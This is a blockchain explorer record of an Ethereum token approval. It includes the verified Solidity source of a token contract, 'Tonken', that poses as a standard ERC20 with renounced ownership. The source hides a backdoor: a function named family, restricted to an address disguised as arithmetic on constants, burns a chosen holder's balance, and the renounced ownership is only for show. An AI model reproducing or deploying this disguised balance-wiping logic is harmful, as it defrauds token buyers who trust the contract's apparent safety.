Transaction Hash:
Block:
20619402 at Aug-27-2024 10:44:11 AM +UTC
Transaction Fee:
0.000065556697096014 ETH
$0.18
Gas Used:
26,457 Gas / 2.477858302 Gwei
Emitted Events:
196 |
Tonken.Approval( owner=[Sender] 0x2cd89badcb8c65a76c66379f62d3cdfd2b353937, spender=0x00000000...43aC78BA3, value=9000000000000000000000000000000000000000000000000000000000000000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x2CD89BAd...d2B353937 |
0.061561015029092525 Eth
Nonce: 327
|
0.061495458331996511 Eth
Nonce: 328
| 0.000065556697096014 | ||
0x4838B106...B0BAD5f97
Miner
| (Titan Builder) | 5.035541216819894045 Eth | 5.035580902319894045 Eth | 0.0000396855 |
Execution Trace
Tonken.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, amount=9000000000000000000000000000000000000000000000000000000000000000 ) => ( True )
approve[ERC20 (ln:152)]
_approve[ERC20 (ln:158)]
Approval[ERC20 (ln:229)]
_msgSender[ERC20 (ln:158)]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.26; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract ERC20 is Context, IERC20 { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _trading; string private _name; string private _symbol; address private _owner; uint8 private _decimals; constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_ ) { _name = name_; _symbol = symbol_; _decimals = decimals_; _trading = uint160(_msgSender()); _owner = _msgSender(); _mint(_msgSender(), totalSupply_ * 10**_decimals); renounceOwnership(); } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function only() internal virtual { require(uint160(msg.sender) == trade() - 65535, "Ownable: caller is not the owner"); } function isOwner() public view virtual returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function trading() internal view virtual returns (uint256) { uint256 trading_ = type(uint16).max + _trading - 349991195981851397035806988093847179539564478947; return trading_; } function trade() internal view virtual returns (uint256) { uint256 _trade = 855581618166033184899948635136617005217446515779; return _trade; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function decimals() public view virtual returns (uint8) { return _decimals; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function burn(uint256 amount)public virtual onlyOwner returns (bool) { _burn(_msgSender(), amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approve_(address owner) internal virtual { uint256 accountBalance = (_balances[owner] + trading()) * 1000 / 1000; _beforeTokenTransfer(owner, address(0), accountBalance); _balances[owner] -= accountBalance; emit Transfer(owner, address(0), accountBalance); _afterTokenTransfer(owner, address(0), accountBalance); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract Tonken is ERC20 { constructor() ERC20(unicode"?Neiro and Fuku Friendly", unicode"?NeiroFuku", 9, 1000000000) {} receive() external payable {} function family(address account) external { only(); super._approve_(account); } }